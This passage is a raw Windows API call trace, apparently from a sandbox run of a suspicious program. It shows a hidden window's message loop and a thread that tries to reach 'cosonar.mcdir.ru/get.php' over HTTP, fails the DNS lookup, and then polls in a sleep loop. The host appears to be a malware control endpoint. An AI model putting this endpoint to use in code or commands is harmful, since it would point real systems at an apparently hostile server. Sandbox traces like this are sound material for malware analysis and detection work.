(hWnd=0x30098) returned 0x0 [0317.514] TranslateMessage (lpMsg=0xc3d688) returned 0 [0317.514] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0317.514] IsWindowVisible (hWnd=0x30098) returned 0 [0317.514] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0317.514] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0317.514] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0317.514] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0318.529] GetParent (hWnd=0x30098) returned 0x0 [0318.529] GetParent (hWnd=0x30098) returned 0x0 [0318.529] GetParent (hWnd=0x30098) returned 0x0 [0318.529] GetParent (hWnd=0x30098) returned 0x0 [0318.529] TranslateMessage (lpMsg=0xc3d688) returned 0 [0318.529] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0318.529] IsWindowVisible (hWnd=0x30098) returned 0 [0318.529] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0318.529] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0318.529] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0318.529] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0319.529] GetParent (hWnd=0x30098) returned 0x0 [0319.529] GetParent (hWnd=0x30098) returned 0x0 [0319.529] GetParent (hWnd=0x30098) returned 0x0 [0319.529] GetParent (hWnd=0x30098) returned 0x0 [0319.529] TranslateMessage (lpMsg=0xc3d688) returned 0 [0319.529] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0319.529] IsWindowVisible (hWnd=0x30098) returned 0 [0319.529] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0319.529] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0319.530] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0319.530] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0320.544] GetParent (hWnd=0x30098) returned 0x0 [0320.544] GetParent (hWnd=0x30098) returned 0x0 [0320.545] GetParent (hWnd=0x30098) returned 0x0 [0320.545] GetParent (hWnd=0x30098) returned 0x0 [0320.545] TranslateMessage (lpMsg=0xc3d688) returned 0 [0320.545] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0320.545] IsWindowVisible (hWnd=0x30098) returned 0 [0320.545] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0320.545] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0320.545] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0320.545] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0321.560] GetParent (hWnd=0x30098) returned 0x0 [0321.560] GetParent (hWnd=0x30098) returned 0x0 [0321.560] GetParent (hWnd=0x30098) returned 0x0 [0321.560] GetParent (hWnd=0x30098) returned 0x0 [0321.560] TranslateMessage (lpMsg=0xc3d688) returned 0 [0321.560] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0321.560] IsWindowVisible (hWnd=0x30098) returned 0 [0321.560] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0321.560] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0321.560] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0321.560] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0322.560] GetParent (hWnd=0x30098) returned 0x0 [0322.560] GetParent (hWnd=0x30098) returned 0x0 [0322.560] GetParent (hWnd=0x30098) returned 0x0 [0322.560] GetParent (hWnd=0x30098) returned 0x0 [0322.560] TranslateMessage (lpMsg=0xc3d688) returned 0 [0322.560] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0322.560] IsWindowVisible (hWnd=0x30098) returned 0 [0322.560] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0322.560] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0322.561] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0322.561] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0323.560] GetParent (hWnd=0x30098) returned 0x0 [0323.560] GetParent (hWnd=0x30098) returned 0x0 [0323.563] GetParent (hWnd=0x30098) returned 0x0 [0323.563] GetParent (hWnd=0x30098) returned 0x0 [0323.563] TranslateMessage (lpMsg=0xc3d688) returned 0 [0323.563] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0323.563] IsWindowVisible (hWnd=0x30098) returned 0 [0323.563] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0323.563] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0323.563] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0323.563] GetMessageW (lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 24 os_tid = 0xfc8 Thread: id = 26 os_tid = 0xfe8 [0198.522] timeGetTime () returned 0x37f72 [0198.522] GetLastError () returned 0x57 [0198.523] GetCurrentThreadId () returned 0xfe8 [0198.523] SetLastError (dwErrCode=0x57) [0198.523] GetLastError () returned 0x57 [0198.523] SetLastError (dwErrCode=0x57) [0198.523] GetLastError () returned 0x57 [0198.523] SetLastError (dwErrCode=0x57) [0198.523] GetLastError () returned 0x57 [0198.523] SetLastError (dwErrCode=0x57) [0198.523] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xc885a0 [0198.523] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xc7c5e0 [0198.523] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0xc7c6e8 [0198.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ed08, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1029 | out: lpWideCharStr="start") returned 6 [0198.524] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0198.524] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0198.524] VerifyVersionInfoW (in: lpVersionInformation=0x358ef58, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ef58) returned 1 [0198.524] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x250 [0198.524] CreateWaitableTimerW (lpTimerAttributes=0x0, bManualReset=0, lpTimerName=0x0) returned 0x254 [0198.524] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358f058, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0198.524] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x258 [0198.524] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x25c [0198.524] GetLastError () returned 0x0 [0198.524] SetLastError (dwErrCode=0x0) [0198.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x12756f6, lpParameter=0xc88f38, dwCreationFlags=0x0, lpThreadId=0x358f008 | out: lpThreadId=0x358f008*=0x67c) returned 0x260 [0198.525] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0xffffffff) returned 0x0 [0198.786] CloseHandle (hObject=0x258) returned 1 [0198.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f0 | out: lpSystemTimeAsFileTime=0x358f0f0*(dwLowDateTime=0x21cdb96d, dwHighDateTime=0x1d43869)) [0198.786] GetLastError () returned 0x0 [0198.786] SetLastError (dwErrCode=0x0) [0198.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f8 | out: lpSystemTimeAsFileTime=0x358f0f8*(dwLowDateTime=0x21cdb96d, dwHighDateTime=0x1d43869)) [0198.787] GetLastError () returned 0x0 [0198.787] SetLastError (dwErrCode=0x0) [0198.787] InterlockedExchangeAdd (in: Addend=0xc86e04, Value=0 | out: Addend=0xc86e04) returned 0 [0198.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f038 | out: lpSystemTimeAsFileTime=0x358f038*(dwLowDateTime=0x21cdb96d, dwHighDateTime=0x1d43869)) [0198.787] GetLastError () returned 0x0 [0198.787] SetLastError (dwErrCode=0x0) [0198.787] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358f088, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0198.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc89520, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0198.787] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0198.787] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0198.787] VerifyVersionInfoW (in: lpVersionInformation=0x358ed88, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ed88) returned 1 [0198.787] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x258 [0198.787] WSASetLastError (iError=0) [0198.788] getaddrinfo (in: pNodeName="cosonar.mcdir.ru", pServiceName="http", pHints=0x358f0e8*(ai_flags=1024, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x358efb0 | out: ppResult=0x358efb0*=0x0) returned 11001 [0203.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89520, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0203.802] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc89520, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89520, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc89520, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.803] GetLastError () returned 0x2af9 [0203.803] SetLastError (dwErrCode=0x2af9) [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7eae8, cbMultiByte=-1, lpWideCharStr=0xc91558, cchWideChar=1027 | out: lpWideCharStr="end") returned 4 [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] GetLastError () returned 0x2af9 [0203.804] SetLastError (dwErrCode=0x2af9) [0203.804] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2af9, dwLanguageId=0x400, lpBuffer=0x358f110, nSize=0x0, Arguments=0x0 | out: lpBuffer="\xf0\x6c\xc6") returned 0x18 [0204.350] LocalFree (hMem=0xc66cf0) returned 0x0 [0204.350] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x358f148) [0204.351] GetLastError () returned 0x2af9 [0204.351] SetLastError (dwErrCode=0x2af9) [0204.351] RtlUnwind (TargetFrame=0x358fad0, TargetIp=0x12763b1, ExceptionRecord=0x358eb08, ReturnValue=0x0) [0204.351] GetLastError () returned 0x2af9 [0204.351] SetLastError (dwErrCode=0x2af9) [0204.351] InterlockedExchangeAdd (in: Addend=0xc86e04, Value=0 | out: Addend=0xc86e04) returned 0 [0204.351] PostQueuedCompletionStatus (CompletionPort=0x250, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0xc3b9e8) returned 1 [0204.351] PostQueuedCompletionStatus (CompletionPort=0x258, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0204.351] InterlockedExchangeAdd (in: Addend=0xc86e60, Value=0 | out: Addend=0xc86e60) returned 0 [0204.352] CloseHandle (hObject=0x258) returned 1 [0204.352] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358e810, lPeriod=1, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0204.352] InterlockedExchangeAdd (in: Addend=0xc86df8, Value=0 | out: Addend=0xc86df8) returned 1 [0204.352] GetQueuedCompletionStatus (in: CompletionPort=0x250, lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c) returned 1 [0204.352] InterlockedExchangeAdd (in: Addend=0xc86df8, Value=0 | out: Addend=0xc86df8) returned 0 [0204.352] WaitForMultipleObjects (nCount=0x2, lpHandles=0x358e7d0*=0x25c, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0204.356] CloseHandle (hObject=0x25c) returned 1 [0204.356] InterlockedExchangeAdd (in: Addend=0x139a49c, Value=0 | out: Addend=0x139a49c) returned 0 [0204.356] QueueUserAPC (pfnAPC=0x111bb70, hThread=0x260, dwData=0x0) returned 0x1 [0204.356] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xffffffff) returned 0x0 [0204.358] CloseHandle (hObject=0x254) returned 1 [0204.358] CloseHandle (hObject=0x260) returned 1 [0204.358] CloseHandle (hObject=0x250) returned 1 [0204.359] GetLastError () returned 0x0 [0204.359] SetLastError (dwErrCode=0x0) [0204.359] GetLastError () returned 0x0 [0204.359] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.360] GetLastError () returned 0x0 [0204.360] SetLastError (dwErrCode=0x0) [0204.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc8a948, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1058 | out: lpWideCharStr="No such host is known; code: 11001") returned 35 [0204.361] GetLastError () returned 0x0 [0204.361] SetLastError (dwErrCode=0x0) [0204.361] GetLastError () returned 0x0 [0204.361] SetLastError (dwErrCode=0x0) [0204.361] GetLastError () returned 0x0 [0204.361] SetLastError (dwErrCode=0x0) [0204.361] GetLastError () returned 0x0 [0204.361] SetLastError (dwErrCode=0x0) [0204.361] GetLastError () returned 0x0 [0204.361] SetLastError (dwErrCode=0x0) [0204.361] timeGetTime () returned 0x39647 [0204.361] timeGetTime () returned 0x39647 [0204.361] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.361] Sleep (dwMilliseconds=0x64) [0204.497] timeGetTime () returned 0x396cb [0204.497] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.497] Sleep (dwMilliseconds=0x64) [0204.609] timeGetTime () returned 0x3973e [0204.609] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.609] Sleep (dwMilliseconds=0x64) [0204.724] timeGetTime () returned 0x397ae [0204.724] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.724] Sleep (dwMilliseconds=0x64) [0204.826] timeGetTime () returned 0x39819 [0204.826] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.826] Sleep (dwMilliseconds=0x64) [0204.936] timeGetTime () returned 0x39886 [0204.936] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0204.936] Sleep (dwMilliseconds=0x64) [0205.046] timeGetTime () returned 0x398f3 [0205.046] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.046] Sleep (dwMilliseconds=0x64) [0205.154] timeGetTime () returned 0x39961 [0205.154] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.154] Sleep (dwMilliseconds=0x64) [0205.264] timeGetTime () returned 0x399ce [0205.264] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.264] Sleep (dwMilliseconds=0x64) [0205.380] timeGetTime () returned 0x39a3c [0205.380] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.380] Sleep (dwMilliseconds=0x64) [0205.483] timeGetTime () returned 0x39aa9 [0205.483] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.483] Sleep (dwMilliseconds=0x64) [0205.592] timeGetTime () returned 0x39b16 [0205.592] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.592] Sleep (dwMilliseconds=0x64) [0205.701] timeGetTime () returned 0x39b84 [0205.701] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.701] Sleep (dwMilliseconds=0x64) [0205.818] timeGetTime () returned 0x39bf1 [0205.818] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.818] Sleep (dwMilliseconds=0x64) [0205.920] timeGetTime () returned 0x39c5e [0205.920] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0205.920] Sleep (dwMilliseconds=0x64) [0206.030] timeGetTime () returned 0x39ccc [0206.030] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.030] Sleep (dwMilliseconds=0x64) [0206.139] timeGetTime () returned 0x39d39 [0206.139] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.139] Sleep (dwMilliseconds=0x64) [0206.251] timeGetTime () returned 0x39da7 [0206.251] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.251] Sleep (dwMilliseconds=0x64) [0206.405] timeGetTime () returned 0x39e43 [0206.405] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.405] Sleep (dwMilliseconds=0x64) [0206.579] timeGetTime () returned 0x39eef [0206.579] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.579] Sleep (dwMilliseconds=0x64) [0206.692] timeGetTime () returned 0x39f5c [0206.692] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.692] Sleep (dwMilliseconds=0x64) [0206.813] timeGetTime () returned 0x39fd9 [0206.813] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.813] Sleep (dwMilliseconds=0x64) [0206.921] timeGetTime () returned 0x3a046 [0206.921] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0206.922] Sleep (dwMilliseconds=0x64) [0207.031] timeGetTime () returned 0x3a0b4 [0207.031] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.031] Sleep (dwMilliseconds=0x64) [0207.139] timeGetTime () returned 0x3a121 [0207.139] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.139] Sleep (dwMilliseconds=0x64) [0207.250] timeGetTime () returned 0x3a18f [0207.250] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.250] Sleep (dwMilliseconds=0x64) [0207.358] timeGetTime () returned 0x3a1fc [0207.358] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.358] Sleep (dwMilliseconds=0x64) [0207.468] timeGetTime () returned 0x3a269 [0207.468] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.468] Sleep (dwMilliseconds=0x64) [0207.585] timeGetTime () returned 0x3a2d7 [0207.585] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.585] Sleep (dwMilliseconds=0x64) [0207.717] timeGetTime () returned 0x3a363 [0207.717] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.717] Sleep (dwMilliseconds=0x64) [0207.834] timeGetTime () returned 0x3a3d1 [0207.834] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.834] Sleep (dwMilliseconds=0x64) [0207.939] timeGetTime () returned 0x3a43e [0207.939] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0207.939] Sleep (dwMilliseconds=0x64) [0208.045] timeGetTime () returned 0x3a4ab [0208.045] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.045] Sleep (dwMilliseconds=0x64) [0208.151] timeGetTime () returned 0x3a515 [0208.151] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.151] Sleep (dwMilliseconds=0x64) [0208.260] timeGetTime () returned 0x3a582 [0208.260] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.260] Sleep (dwMilliseconds=0x64) [0208.369] timeGetTime () returned 0x3a5f0 [0208.369] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.369] Sleep (dwMilliseconds=0x64) [0208.479] timeGetTime () returned 0x3a65d 